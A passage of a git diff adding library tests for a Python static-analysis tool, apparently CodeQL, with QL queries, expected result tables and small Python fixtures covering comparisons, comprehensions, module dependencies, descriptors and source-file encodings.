start+0 | +| 78 | start > end-0 | +| 80 | end == start-0 | +| 80 | start == end+0 | +| 87 | x > y+0 | +| 87 | y < x-0 | +| 94 | x > y+0 | +| 94 | y < x-0 | diff --git a/python/ql/test/library-tests/comparisons/Compare2.ql b/python/ql/test/library-tests/comparisons/Compare2.ql new file mode 100644 index 00000000000..70d954a4b0e --- /dev/null +++ b/python/ql/test/library-tests/comparisons/Compare2.ql @@ -0,0 +1,11 @@ + +import python + +import semmle.python.Comparisons + +from Comparison c, NameNode l, CompareOp op, NameNode r, float k, string add +where +c.tests(l, op, r, k) +and +(k < 0 and add = "" or k >= 0 and add = "+") +select c.getLocation().getStartLine(), l.getId() + " " + op.repr() + " " + r.getId() + add + k diff --git a/python/ql/test/library-tests/comparisons/CompareControls.expected b/python/ql/test/library-tests/comparisons/CompareControls.expected new file mode 100644 index 00000000000..c47e6d08e94 --- /dev/null +++ b/python/ql/test/library-tests/comparisons/CompareControls.expected @@ -0,0 +1,54 @@ +| 3 | x == 4 | 4 | +| 5 | x != 4 | 6 | +| 7 | x > 4 | 8 | +| 9 | x < 4 | 10 | +| 11 | x >= 4 | 12 | +| 13 | x <= 4 | 14 | +| 17 | x >= 0 | 16 | +| 17 | x >= 0 | 17 | +| 17 | x >= 0 | 19 | +| 17 | x >= 0 | 23 | +| 17 | x >= 0 | 24 | +| 17 | x >= 0 | 25 | +| 17 | x >= 0 | 28 | +| 17 | x >= 0 | 29 | +| 17 | x >= 0 | 30 | +| 17 | x >= 0 | 31 | +| 17 | x >= 0 | 33 | +| 17 | x >= 0 | 34 | +| 17 | x >= 0 | 36 | +| 17 | x >= 0 | 37 | +| 17 | z >= 0 | 16 | +| 17 | z >= 0 | 19 | +| 17 | z >= 0 | 23 | +| 17 | z >= 0 | 24 | +| 17 | z >= 0 | 25 | +| 17 | z >= 0 | 28 | +| 17 | z >= 0 | 29 | +| 17 | z >= 0 | 30 | +| 17 | z >= 0 | 31 | +| 17 | z >= 0 | 33 | +| 17 | z >= 0 | 34 | +| 17 | z >= 0 | 36 | +| 17 | z >= 0 | 37 | +| 23 | w < 0 | 16 | +| 23 | w < 0 | 30 | +| 23 | w < 0 | 31 | +| 23 | w < 0 | 33 | +| 23 | w < 0 | 34 | +| 23 | w < 0 | 36 | +| 23 | w < 0 | 37 | +| 23 | w >= 0 | 24 | +| 23 | w >= 0 | 25 | +| 23 | w >= 0 | 28 | +| 23 | w >= 0 | 29 | +| 24 | y < 7 | 25 | +| 24 | y >= 7 | 28 | +| 24 | y >= 7 | 29 | +| 28 | y > 10 | 29 | +| 30 | y < 10 | 31 | +| 30 | y < 10 | 33 | +| 32 | y < 12 | 33 | +| 34 | y == 5 | 36 | +| 34 | y == 5 | 37 | +| 36 | z > 0 | 37 | diff --git a/python/ql/test/library-tests/comparisons/CompareControls.ql b/python/ql/test/library-tests/comparisons/CompareControls.ql new file mode 100644 index 00000000000..01b35c0ffad --- /dev/null +++ b/python/ql/test/library-tests/comparisons/CompareControls.ql @@ -0,0 +1,10 @@ + +import python + +import semmle.python.Comparisons + +from ComparisonControlBlock comp, SsaVariable v, CompareOp op, float k, BasicBlock b +where +comp.controls(v.getAUse(), op, k, b) + +select comp.getTest().getLocation().getStartLine(), v.getId() + " " + op.repr() + " " + k, b.getNode(0).getLocation().getStartLine() diff --git a/python/ql/test/library-tests/comparisons/Implication.expected b/python/ql/test/library-tests/comparisons/Implication.expected new file mode 100644 index 00000000000..bb9abc1b012 --- /dev/null +++ b/python/ql/test/library-tests/comparisons/Implication.expected @@ -0,0 +1,154 @@ +| 3 | false | 3 | false | +| 3 | false | 5 | true | +| 3 | true | 3 | true | +| 3 | true | 5 | false | +| 5 | false | 3 | true | +| 5 | false | 5 | false | +| 5 | true | 3 | false | +| 5 | true | 5 | true | +| 7 | false | 7 | false | +| 7 | false | 13 | true | +| 7 | true | 3 | false | +| 7 | true | 5 | true | +| 7 | true | 7 | true | +| 7 | true | 9 | false | +| 7 | true | 11 | true | +| 7 | true | 13 | false | +| 9 | false | 9 | false | +| 9 | false | 11 | true | +| 9 | true | 3 | false | +| 9 | true | 5 | true | +| 9 | true | 7 | false | +| 9 | true | 9 | true | +| 9 | true | 11 | false | +| 9 | true | 13 | true | +| 11 | false | 3 | false | +| 11 | false | 5 | true | +| 11 | false | 7 | false | +| 11 | false | 9 | true | +| 11 | false | 11 | false | +| 11 | false | 13 | true | +| 11 | true | 9 | false | +| 11 | true | 11 | true | +| 13 | false | 3 | false | +| 13 | false | 5 | true | +| 13 | false | 7 | true | +| 13 | false | 9 | false | +| 13 | false | 11 | true | +| 13 | false | 13 | false | +| 13 | true | 7 | false | +| 13 | true | 13 | true | +| 17 | false | 17 | false | +| 17 | false | 19 | true | +| 17 | false | 21 | true | +| 17 | true | 17 | true | +| 17 | true | 19 | false | +| 17 | true | 21 | false | +| 19 | false | 17 | true | +| 19 | false | 19 | false | +| 19 | true | 17 | false | +| 19 | true | 19 | true | +| 21 | false | 17 | true | +| 21 | false | 21 | false | +| 21 | true | 17 | false | +| 21 | true | 21 | true | +| 23 | false | 23 | false | +| 23 | true | 23 | true | +| 24 | false | 24 | false | +| 24 | true | 24 | true | +| 24 | true | 26 | false | +| 24 | true | 28 | false | +| 24 | true | 30 | true | +| 26 | false | 26 | false | +| 26 | true | 26 | true | +| 28 | false | 26 | false | +| 28 | false | 28 | false | +| 28 | true | 24 | false | +| 28 | true | 28 | true | +| 28 | true | 30 | false | +| 30 | false | 24 | false | +| 30 | false | 30 | false | +| 30 | true | 26 | false | +| 30 | true | 28 | false | +| 30 | true | 30 | true | +| 32 | false | 32 | false | +| 32 | true | 32 | true | +| 34 | false | 34 | false | +| 34 | false | 35 | true | +| 34 | true | 34 | true | +| 34 | true | 35 | false | +| 35 | false | 34 | true | +| 35 | false | 35 | false | +| 35 | true | 34 | false | +| 35 | true | 35 | true | +| 36 | false | 36 | false | +| 36 | true | 36 | true | +| 37 | false | 37 | false | +| 37 | true | 34 | false | +| 37 | true | 35 | true | +| 37 | true | 37 | true | +| 40 | false | 40 | false | +| 40 | false | 42 | true | +| 40 | true | 40 | true | +| 40 | true | 42 | false | +| 42 | false | 40 | true | +| 42 | false | 42 | false | +| 42 | true | 40 | false | +| 42 | true | 42 | true | +| 44 | false | 44 | false | +| 44 | false | 50 | true | +| 44 | true | 40 | false | +| 44 | true | 42 | true | +| 44 | true | 44 | true | +| 44 | true | 46 | false | +| 44 | true | 48 | true | +| 44 | true | 50 | false | +| 46 | false | 46 | false | +| 46 | false | 48 | true | +| 46 | true | 40 | false | +| 46 | true | 42 | true | +| 46 | true | 44 | false | +| 46 | true | 46 | true | +| 46 | true | 48 | false | +| 46 | true | 50 | true | +| 48 | false | 40 | false | +| 48 | false | 42 | true | +| 48 | false | 44 | false | +| 48 | false | 46 | true | +| 48 | false | 48 | false | +| 48 | false | 50 | true | +| 48 | true | 46 | false | +| 48 | true | 48 | true | +| 50 | false | 40 | false | +| 50 | false | 42 | true | +| 50 | false | 44 | true | +| 50 | false | 46 | false | +| 50 | false | 48 | true | +| 50 | false | 50 | false | +| 50 | true | 44 | false | +| 50 | true | 50 | true | +| 54 | false | 54 | false | +| 54 | false | 57 | true | +| 54 | true | 54 | true | +| 54 | true | 57 | false | +| 55 | false | 55 | false | +| 55 | false | 59 | false | +| 55 | true | 55 | true | +| 55 | true | 59 | true | +| 57 | false | 54 | true | +| 57 | false | 57 | false | +| 57 | true | 54 | false | +| 57 | true | 57 | true | +| 59 | false | 55 | false | +| 59 | false | 59 | false | +| 59 | true | 55 | true | +| 59 | true | 59 | true | +| 78 | false | 78 | false | +| 78 | true | 78 | true | +| 78 | true | 80 | false | +| 80 | false | 80 | false | +| 80 | true | 80 | true | +| 87 | false | 87 | false | +| 87 | true | 87 | true | +| 94 | false | 94 | false | +| 94 | true | 94 | true | diff --git a/python/ql/test/library-tests/comparisons/Implication.ql b/python/ql/test/library-tests/comparisons/Implication.ql new file mode 100644 index 00000000000..f24d1d42234 --- /dev/null +++ b/python/ql/test/library-tests/comparisons/Implication.ql @@ -0,0 +1,9 @@ + +import python +import semmle.python.Comparisons + +from Comparison a, Comparison that, boolean thisIsTrue, boolean thatIsTrue + +where a.impliesThat(thisIsTrue, that, thatIsTrue) + +select a.getLocation().getStartLine(), thisIsTrue, that.getLocation().getStartLine(), thatIsTrue \ No newline at end of file diff --git a/python/ql/test/library-tests/comparisons/options b/python/ql/test/library-tests/comparisons/options new file mode 100644 index 00000000000..3e57ce3b246 --- /dev/null +++ b/python/ql/test/library-tests/comparisons/options @@ -0,0 +1 @@ +semmle-extractor-options: --dont-split-graph diff --git a/python/ql/test/library-tests/comparisons/test.py b/python/ql/test/library-tests/comparisons/test.py new file mode 100644 index 00000000000..dc2ac175d0b --- /dev/null +++ b/python/ql/test/library-tests/comparisons/test.py @@ -0,0 +1,96 @@ + +def simple_tests(x): + if x == 4: + pass + if x != 4: + pass + if x > 4: + pass + if x < 4: + pass + if x >= 4: + pass + if x <= 4: + pass + +def f(w, x, y, z): + if x < 0 or z < 0: + raise Exception() + if x >= 0: # Useless test due to x < 0 being false + y += 1 + if z >= 0: # Useless test due to z < 0 being false + y += 1 + while w >= 0: + if y < 7: + z += 1 + if y == 15: # Useless test due to y < 10 being true + z += 1 + elif y > 10: + y -= 1 + if y < 10: + y += 1 + if y < 12: #A useless test, but too complex to infer. + pass + if (not + y != 5 and + z > 0): + w = 0 if y < 3 else 1 #Useless test as y is 5 + +def simple_tests2(x, y): + if x == y+4: + pass + if x != y+4: + pass + if x > y+4: + pass + if x < y+4: + pass + if x >= y+4: + pass + if x <= y+4: + pass + +def g(w, x, y, z): + if (w < x or + y < z+2): + raise Exception() + if w >= x: # Useless test due to w < x being false + pass + if z > y-2: # Useless test due to y < z+2 being false + y += 1 + +#Complex things we can't analyse +def h(a,b,c,d): + if a < b - g(c): + pass + if a(c) < b(d): + pass + if a < 10 + b + c: + pass + if a > 20 - g(c): + pass + if a + 10 > g(c): + pass + + +#ODASA-5643 +def validate_series(start, end): + if end < start: + raise error() + if start == end: + raise error() + return start, end + +def big1(x, y): + if x + 10000000000000000 > y + 10000000000000001: + return + if x > y: + # Redundant (but cannot be sure due to FP rounding errors) + pass + +def big2(x, y): + if x + 10000000000000000 > y + 10000000000000001: + return + if x > y: + # Not redundant (but might appear to be due to FP rounding errors) + pass diff --git a/python/ql/test/library-tests/comprehensions/AST.expected b/python/ql/test/library-tests/comprehensions/AST.expected new file mode 100644 index 00000000000..0ec20fcb99a --- /dev/null +++ b/python/ql/test/library-tests/comprehensions/AST.expected @@ -0,0 +1,50 @@ +| 2 | test.py:2:1:5:1 | .0 | 2 | test.py:2:1:5:1 | For | +| 2 | test.py:2:1:5:1 | .0 | 2 | test.py:2:1:5:1 | Function listcomp | +| 2 | test.py:2:1:5:1 | ExprStmt | 0 | test.py:0:0:0:0 | Module test | +| 2 | test.py:2:1:5:1 | For | 2 | test.py:2:1:5:1 | For | +| 2 | test.py:2:1:5:1 | For | 2 | test.py:2:1:5:1 | Function listcomp | +| 2 | test.py:2:1:5:1 | Function listcomp | 2 | test.py:2:1:5:1 | ListComp | +| 2 | test.py:2:1:5:1 | ListComp | 2 | test.py:2:1:5:1 | ExprStmt | +| 2 | test.py:2:5:2:5 | i | 2 | test.py:2:5:2:7 | BinaryExpr | +| 2 | test.py:2:5:2:7 | BinaryExpr | 2 | test.py:2:5:2:7 | Yield | +| 2 | test.py:2:5:2:7 | ExprStmt | 2 | test.py:2:1:5:1 | For | +| 2 | test.py:2:5:2:7 | Yield | 2 | test.py:2:5:2:7 | ExprStmt | +| 2 | test.py:2:7:2:7 | j | 2 | test.py:2:5:2:7 | BinaryExpr | +| 3 | test.py:3:9:3:9 | i | 2 | test.py:2:1:5:1 | For | +| 3 | test.py:3:14:3:18 | range | 3 | test.py:3:14:3:21 | range() | +| 3 | test.py:3:14:3:21 | range() | 2 | test.py:2:1:5:1 | ListComp | +| 3 | test.py:3:20:3:20 | IntegerLiteral | 3 | test.py:3:14:3:21 | range() | +| 4 | test.py:4:9:4:9 | j | 2 | test.py:2:1:5:1 | For | +| 4 | test.py:4:14:4:18 | range | 4 | test.py:4:14:4:21 | range() | +| 4 | test.py:4:14:4:21 | range() | 2 | test.py:2:1:5:1 | For | +| 4 | test.py:4:20:4:20 | IntegerLiteral | 4 | test.py:4:14:4:21 | range() | +| 7 | test.py:7:1:9:1 | .0 | 7 | test.py:7:1:9:1 | For | +| 7 | test.py:7:1:9:1 | .0 | 7 | test.py:7:1:9:1 | Function setcomp | +| 7 | test.py:7:1:9:1 | ExprStmt | 0 | test.py:0:0:0:0 | Module test | +| 7 | test.py:7:1:9:1 | For | 7 | test.py:7:1:9:1 | Function setcomp | +| 7 | test.py:7:1:9:1 | Function setcomp | 7 | test.py:7:1:9:1 | SetComp | +| 7 | test.py:7:1:9:1 | SetComp | 7 | test.py:7:1:9:1 | ExprStmt | +| 8 | test.py:8:5:8:5 | x | 8 | test.py:8:5:8:9 | BinaryExpr | +| 8 | test.py:8:5:8:9 | BinaryExpr | 8 | test.py:8:5:8:9 | Yield | +| 8 | test.py:8:5:8:9 | ExprStmt | 7 | test.py:7:1:9:1 | For | +| 8 | test.py:8:5:8:9 | Yield | 8 | test.py:8:5:8:9 | ExprStmt | +| 8 | test.py:8:9:8:9 | x | 8 | test.py:8:5:8:9 | BinaryExpr | +| 8 | test.py:8:15:8:15 | x | 7 | test.py:7:1:9:1 | For | +| 8 | test.py:8:20:8:22 | seq | 7 | test.py:7:1:9:1 | SetComp | +| 11 | test.py:11:1:15:1 | .0 | 11 | test.py:11:1:15:1 | For | +| 11 | test.py:11:1:15:1 | .0 | 11 | test.py:11:1:15:1 | Function dictcomp | +| 11 | test.py:11:1:15:1 | DictComp | 11 | test.py:11:1:15:1 | ExprStmt | +| 11 | test.py:11:1:15:1 | ExprStmt | 0 | test.py:0:0:0:0 | Module test | +| 11 | test.py:11:1:15:1 | For | 11 | test.py:11:1:15:1 | Function dictcomp | +| 11 | test.py:11:1:15:1 | Function dictcomp | 11 | test.py:11:1:15:1 | DictComp | +| 12 | test.py:12:5:12:5 | y | 12 | test.py:12:5:12:10 | Attribute | +| 12 | test.py:12:5:12:10 | Attribute | 12 | test.py:12:5:12:16 | Tuple | +| 12 | test.py:12:5:12:16 | ExprStmt | 11 | test.py:11:1:15:1 | For | +| 12 | test.py:12:5:12:16 | Tuple | 12 | test.py:12:5:12:16 | Yield | +| 12 | test.py:12:5:12:16 | Yield | 12 | test.py:12:5:12:16 | ExprStmt | +| 12 | test.py:12:14:12:14 | z | 12 | test.py:12:14:12:16 | z() | +| 12 | test.py:12:14:12:16 | z() | 12 | test.py:12:5:12:16 | Tuple | +| 13 | test.py:13:9:13:9 | y | 13 | test.py:13:9:13:12 | Tuple | +| 13 | test.py:13:9:13:12 | Tuple | 11 | test.py:11:1:15:1 | For | +| 13 | test.py:13:12:13:12 | z | 13 | test.py:13:9:13:12 | Tuple | +| 14 | test.py:14:5:14:11 | mapping | 11 | test.py:11:1:15:1 | DictComp | diff --git a/python/ql/test/library-tests/comprehensions/AST.ql b/python/ql/test/library-tests/comprehensions/AST.ql new file mode 100644 index 00000000000..a0063daf0a6 --- /dev/null +++ b/python/ql/test/library-tests/comprehensions/AST.ql @@ -0,0 +1,5 @@ +import python + +from AstNode child, AstNode parent +where child.getParentNode() = parent +select child.getLocation().getStartLine(), child, parent.getLocation().getStartLine(), parent diff --git a/python/ql/test/library-tests/comprehensions/Flow.expected b/python/ql/test/library-tests/comprehensions/Flow.expected new file mode 100644 index 00000000000..efcf64bfb9f --- /dev/null +++ b/python/ql/test/library-tests/comprehensions/Flow.expected @@ -0,0 +1,48 @@ +| 0 | Entry node for Module test | 3 | ControlFlowNode for range | +| 2 | ControlFlowNode for .0 | 2 | ControlFlowNode for .0 | +| 2 | ControlFlowNode for .0 | 2 | ControlFlowNode for For | +| 2 | ControlFlowNode for BinaryExpr | 2 | ControlFlowNode for Yield | +| 2 | ControlFlowNode for For | 2 | ControlFlowNode for For | +| 2 | ControlFlowNode for For | 2 | Exit node for Function listcomp | +| 2 | ControlFlowNode for For | 3 | ControlFlowNode for i | +| 2 | ControlFlowNode for For | 4 | ControlFlowNode for j | +| 2 | ControlFlowNode for ListComp | 8 | ControlFlowNode for seq | +| 2 | ControlFlowNode for Yield | 2 | ControlFlowNode for For | +| 2 | ControlFlowNode for i | 2 | ControlFlowNode for j | +| 2 | ControlFlowNode for j | 2 | ControlFlowNode for BinaryExpr | +| 2 | Entry node for Function listcomp | 2 | ControlFlowNode for .0 | +| 3 | ControlFlowNode for IntegerLiteral | 3 | ControlFlowNode for range() | +| 3 | ControlFlowNode for i | 4 | ControlFlowNode for range | +| 3 | ControlFlowNode for range | 3 | ControlFlowNode for IntegerLiteral | +| 3 | ControlFlowNode for range() | 2 | ControlFlowNode for ListComp | +| 4 | ControlFlowNode for IntegerLiteral | 4 | ControlFlowNode for range() | +| 4 | ControlFlowNode for j | 2 | ControlFlowNode for i | +| 4 | ControlFlowNode for range | 4 | ControlFlowNode for IntegerLiteral | +| 4 | ControlFlowNode for range() | 2 | ControlFlowNode for For | +| 7 | ControlFlowNode for .0 | 7 | ControlFlowNode for .0 | +| 7 | ControlFlowNode for .0 | 7 | ControlFlowNode for For | +| 7 | ControlFlowNode for For | 7 | Exit node for Function setcomp | +| 7 | ControlFlowNode for For | 8 | ControlFlowNode for x | +| 7 | ControlFlowNode for SetComp | 14 | ControlFlowNode for mapping | +| 7 | Entry node for Function setcomp | 7 | ControlFlowNode for .0 | +| 8 | ControlFlowNode for BinaryExpr | 8 | ControlFlowNode for Yield | +| 8 | ControlFlowNode for Yield | 7 | ControlFlowNode for For | +| 8 | ControlFlowNode for seq | 7 | ControlFlowNode for SetComp | +| 8 | ControlFlowNode for x | 8 | ControlFlowNode for BinaryExpr | +| 8 | ControlFlowNode for x | 8 | ControlFlowNode for x | +| 11 | ControlFlowNode for .0 | 11 | ControlFlowNode for .0 | +| 11 | ControlFlowNode for .0 | 11 | ControlFlowNode for For | +| 11 | ControlFlowNode for DictComp | 0 | Exit node for Module test | +| 11 | ControlFlowNode for For | 11 | Exit node for Function dictcomp | +| 11 | ControlFlowNode for For | 13 | ControlFlowNode for Tuple | +| 11 | Entry node for Function dictcomp | 11 | ControlFlowNode for .0 | +| 12 | ControlFlowNode for Attribute | 12 | ControlFlowNode for Tuple | +| 12 | ControlFlowNode for Tuple | 12 | ControlFlowNode for Yield | +| 12 | ControlFlowNode for Yield | 11 | ControlFlowNode for For | +| 12 | ControlFlowNode for y | 12 | ControlFlowNode for Attribute | +| 12 | ControlFlowNode for z | 12 | ControlFlowNode for z() | +| 12 | ControlFlowNode for z() | 12 | ControlFlowNode for y | +| 13 | ControlFlowNode for Tuple | 13 | ControlFlowNode for y | +| 13 | ControlFlowNode for y | 13 | ControlFlowNode for z | +| 13 | ControlFlowNode for z | 12 | ControlFlowNode for z | +| 14 | ControlFlowNode for mapping | 11 | ControlFlowNode for DictComp | diff --git a/python/ql/test/library-tests/comprehensions/Flow.ql b/python/ql/test/library-tests/comprehensions/Flow.ql new file mode 100644 index 00000000000..e19d4d75abe --- /dev/null +++ b/python/ql/test/library-tests/comprehensions/Flow.ql @@ -0,0 +1,5 @@ +import python + +from ControlFlowNode p, ControlFlowNode s +where p.getASuccessor() = s +select p.getLocation().getStartLine(), p.toString(), s.getLocation().getStartLine(), s.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/comprehensions/test.py b/python/ql/test/library-tests/comprehensions/test.py new file mode 100644 index 00000000000..b4504f8960d --- /dev/null +++ b/python/ql/test/library-tests/comprehensions/test.py @@ -0,0 +1,15 @@ + +[ i+j + for i in range(1) + for j in range(2) +] + +{ + x * x for x in seq +} + +{ + y.attr : z() + for y, z in + mapping +} diff --git a/python/ql/test/library-tests/dependencies/ArchitectDependencies.expected b/python/ql/test/library-tests/dependencies/ArchitectDependencies.expected new file mode 100644 index 00000000000..2bb7df4b7de --- /dev/null +++ b/python/ql/test/library-tests/dependencies/ArchitectDependencies.expected @@ -0,0 +1,10 @@ +| standard/python/attribute | Module a | Class B | Attribute | +| standard/python/attribute | Module b | Class C | Attribute | +| standard/python/import | Module a | Module b | Import | +| standard/python/import | Module b | Module c | Import | +| standard/python/import | Module c | Module b | Import | +| standard/python/inheritance | Class A | Class B | ClassExpr | +| standard/python/inheritance | Class A | Class C | ClassExpr | +| standard/python/inheritance | Class B | Class C | ClassExpr | +| standard/python/use | Module a | Class B | Attribute | +| standard/python/use | Module b | Class C | Attribute | diff --git a/python/ql/test/library-tests/dependencies/ArchitectDependencies.ql b/python/ql/test/library-tests/dependencies/ArchitectDependencies.ql new file mode 100644 index 00000000000..ce33d7c7acd --- /dev/null +++ b/python/ql/test/library-tests/dependencies/ArchitectDependencies.ql @@ -0,0 +1,9 @@ + +import python +import Architect.Common.DependencyCategory +import Architect.Architect + +from DependencyCategory dk, DependencyElement source, DependencyElement target, DependencyElement cause +where dk.isADependency(source, target, cause) +select dk.toString(), source.toString(), target.toString(), cause.toString() + diff --git a/python/ql/test/library-tests/dependencies/Categories.expected b/python/ql/test/library-tests/dependencies/Categories.expected new file mode 100644 index 00000000000..9cfbbe102a8 --- /dev/null +++ b/python/ql/test/library-tests/dependencies/Categories.expected @@ -0,0 +1,4 @@ +| standard/python/attribute | +| standard/python/import | +| standard/python/inheritance | +| standard/python/use | diff --git a/python/ql/test/library-tests/dependencies/Categories.ql b/python/ql/test/library-tests/dependencies/Categories.ql new file mode 100644 index 00000000000..6866ab072ca --- /dev/null +++ b/python/ql/test/library-tests/dependencies/Categories.ql @@ -0,0 +1,13 @@ +/** + * @name Categories + * @description Insert description here... + * @kind problem + * @problem.severity warning + */ + +import python +import Architect.Common.DependencyCategory +import Architect.Architect + +from DependencyCategory dk +select dk diff --git a/python/ql/test/library-tests/dependencies/Dependencies.expected b/python/ql/test/library-tests/dependencies/Dependencies.expected new file mode 100644 index 00000000000..90839fffe55 --- /dev/null +++ b/python/ql/test/library-tests/dependencies/Dependencies.expected @@ -0,0 +1,16 @@ +| attribute | a.py | 3 | Attribute | class B | +| attribute | b.py | 3 | Attribute | class C | +| import | a.py | 1 | Import | Module b | +| import | b.py | 1 | Import | Module c | +| import | c.py | 1 | Import | Module b | +| inheritance | a.py | 3 | ClassExpr | builtin-class object | +| inheritance | a.py | 3 | ClassExpr | builtin-class type | +| inheritance | a.py | 3 | ClassExpr | class B | +| inheritance | a.py | 3 | ClassExpr | class C | +| inheritance | b.py | 3 | ClassExpr | builtin-class object | +| inheritance | b.py | 3 | ClassExpr | builtin-class type | +| inheritance | b.py | 3 | ClassExpr | class C | +| inheritance | c.py | 3 | ClassExpr | builtin-class object | +| inheritance | c.py | 3 | ClassExpr | builtin-class type | +| use | a.py | 3 | Attribute | class B | +| use | b.py | 3 | Attribute | class C | diff --git a/python/ql/test/library-tests/dependencies/Dependencies.ql b/python/ql/test/library-tests/dependencies/Dependencies.ql new file mode 100644 index 00000000000..b5bedbe7b3c --- /dev/null +++ b/python/ql/test/library-tests/dependencies/Dependencies.ql @@ -0,0 +1,8 @@ + +import python +import semmle.python.dependencies.Dependencies + +from DependencyKind dk, AstNode src, Object target +where dk.isADependency(src, target) +select dk.toString(), src.getLocation().getFile().getShortName(), src.getLocation().getStartLine(), src.toString(), target.toString() + diff --git a/python/ql/test/library-tests/dependencies/a.py b/python/ql/test/library-tests/dependencies/a.py new file mode 100644 index 00000000000..b174bff58ca --- /dev/null +++ b/python/ql/test/library-tests/dependencies/a.py @@ -0,0 +1,4 @@ +import b + +class A(b.B): + pass diff --git a/python/ql/test/library-tests/dependencies/b.py b/python/ql/test/library-tests/dependencies/b.py new file mode 100644 index 00000000000..24586e4ddc6 --- /dev/null +++ b/python/ql/test/library-tests/dependencies/b.py @@ -0,0 +1,4 @@ +import c + +class B(c.C): + pass diff --git a/python/ql/test/library-tests/dependencies/c.py b/python/ql/test/library-tests/dependencies/c.py new file mode 100644 index 00000000000..2ba0664a5b5 --- /dev/null +++ b/python/ql/test/library-tests/dependencies/c.py @@ -0,0 +1,5 @@ +import b + +class C(object): + def foo(self): + b = B() diff --git a/python/ql/test/library-tests/descriptors/Descriptors.expected b/python/ql/test/library-tests/descriptors/Descriptors.expected new file mode 100644 index 00000000000..1c9d4436a94 --- /dev/null +++ b/python/ql/test/library-tests/descriptors/Descriptors.expected @@ -0,0 +1,10 @@ +| builtin-class classmethod | non-overriding | +| builtin-class classmethod_descriptor | non-overriding | +| builtin-class function | non-overriding | +| builtin-class getset_descriptor | overriding | +| builtin-class member_descriptor | overriding | +| builtin-class method_descriptor | non-overriding | +| builtin-class property | overriding | +| builtin-class staticmethod | non-overriding | +| builtin-class super | non-overriding | +| builtin-class wrapper_descriptor | non-overriding | diff --git a/python/ql/test/library-tests/descriptors/Descriptors.ql b/python/ql/test/library-tests/descriptors/Descriptors.ql new file mode 100644 index 00000000000..658091bfe4e --- /dev/null +++ b/python/ql/test/library-tests/descriptors/Descriptors.ql @@ -0,0 +1,13 @@ + +import python + +from ClassObject cls, string kind +where cls.isDescriptorType() and +/* Exclude bound-method as its name differs between 2 and 3 */ +not cls = theBoundMethodType() and +(if cls.isOverridingDescriptorType() then + kind = "overriding" + else + kind = "non-overriding" +) +select cls.toString(), kind \ No newline at end of file diff --git a/python/ql/test/library-tests/descriptors/Methods.expected b/python/ql/test/library-tests/descriptors/Methods.expected new file mode 100644 index 00000000000..efd066e8b4c --- /dev/null +++ b/python/ql/test/library-tests/descriptors/Methods.expected @@ -0,0 +1,6 @@ +| 16 | classmethod() | 17 | Function c1 | +| 23 | classmethod() | 20 | Function c2 | +| 24 | classmethod() | 20 | Function c2 | +| 26 | staticmethod() | 27 | Function s1 | +| 33 | staticmethod() | 30 | Function s2 | +| 34 | staticmethod() | 30 | Function s2 | \ No newline at end of file diff --git a/python/ql/test/library-tests/descriptors/Methods.ql b/python/ql/test/library-tests/descriptors/Methods.ql new file mode 100644 index 00000000000..75d3092198d --- /dev/null +++ b/python/ql/test/library-tests/descriptors/Methods.ql @@ -0,0 +1,15 @@ + +import python +import semmle.python.types.Descriptors + +int lineof(Object o) { + result = o.getOrigin().getLocation().getStartLine() +} + +from Object m, FunctionObject f +where + m.(ClassMethodObject).getFunction() = f + or + m.(StaticMethodObject).getFunction() = f +select lineof(m), m.toString(), lineof(f), f.toString() + diff --git a/python/ql/test/library-tests/descriptors/Properties.expected b/python/ql/test/library-tests/descriptors/Properties.expected new file mode 100644 index 00000000000..3eb736d618b --- /dev/null +++ b/python/ql/test/library-tests/descriptors/Properties.expected @@ -0,0 +1 @@ +| 6 | Property f | 7 | Function f | 11 | Function f | diff --git a/python/ql/test/library-tests/descriptors/Properties.ql b/python/ql/test/library-tests/descriptors/Properties.ql new file mode 100644 index 00000000000..e27ca6beb3c --- /dev/null +++ b/python/ql/test/library-tests/descriptors/Properties.ql @@ -0,0 +1,13 @@ + +import python +import semmle.python.types.Descriptors + +int lineof(Object o) { + result = o.getOrigin().getLocation().getStartLine() +} + +from PropertyObject p, FunctionObject getter, FunctionObject setter +where +getter = p.getGetter() and setter = p.getSetter() +select lineof(p), p.toString(), lineof(getter), getter.toString(), lineof(setter), setter.toString() + diff --git a/python/ql/test/library-tests/descriptors/test.py b/python/ql/test/library-tests/descriptors/test.py new file mode 100644 index 00000000000..8d7f14198c7 --- /dev/null +++ b/python/ql/test/library-tests/descriptors/test.py @@ -0,0 +1,34 @@ + + + +class C(object): + + @property + def f(self): + return self._f + + @f.setter + def f(self): + return self._f + +class D(object): + + @classmethod + def c1(self): + pass + + def c2(self): + pass + + c3 = classmethod(c2) + c2 = classmethod(c2) + + @staticmethod + def s1(self): + pass + + def s2(self): + pass + + s3 = staticmethod(s2) + s2 = staticmethod(s2) diff --git a/python/ql/test/library-tests/encoding/CheckEncoding.expected b/python/ql/test/library-tests/encoding/CheckEncoding.expected new file mode 100644 index 00000000000..686ad385436 --- /dev/null +++ b/python/ql/test/library-tests/encoding/CheckEncoding.expected @@ -0,0 +1,4 @@ +| latin.py | latin1 | +| shift_jis.py | shift-jis | +| utf8.py | utf-8 | +| utf8_bom.py | none | diff --git a/python/ql/test/library-tests/encoding/CheckEncoding.ql b/python/ql/test/library-tests/encoding/CheckEncoding.ql new file mode 100644 index 00000000000..2b0af6ee84a --- /dev/null +++ b/python/ql/test/library-tests/encoding/CheckEncoding.ql @@ -0,0 +1,8 @@ +import python + +from File f, string encoding +where +encoding = f.getSpecifiedEncoding() +or +not exists(f.getSpecifiedEncoding()) and encoding = "none" +select f.getName(), encoding diff --git a/python/ql/test/library-tests/encoding/latin.py b/python/ql/test/library-tests/encoding/latin.py new file mode 100644 index 00000000000..538a7b90e93 --- /dev/null +++ b/python/ql/test/library-tests/encoding/latin.py @@ -0,0 +1,4 @@ +"Any old stuff can go here" +# -*- coding: latin1 -*- +# Günter + diff --git a/python/ql/test/library-tests/encoding/shift_jis.py b/python/ql/test/library-tests/encoding/shift_jis.py new file mode 100644 index 00000000000..89b7b91fd8c --- /dev/null +++ b/python/ql/test/library-tests/encoding/shift_jis.py @@ -0,0 +1,11 @@ +# encoding:shift-jis + +#This is copied from the Python test library copyright PSF. + +""" +Python ‚ÌŠJ”­‚ÍA1990 ”N‚²‚ë‚©‚çŠJŽn‚³‚ê‚Ä‚¢‚Ü‚·B +ŠJ”­ŽÒ‚Ì Guido van Rossum ‚Í‹³ˆç—p‚̃vƒƒOƒ‰ƒ~ƒ“ƒOŒ¾ŒêuABCv‚ÌŠJ”­‚ÉŽQ‰Á‚µ‚Ä‚¢‚Ü‚µ‚½‚ªAABC 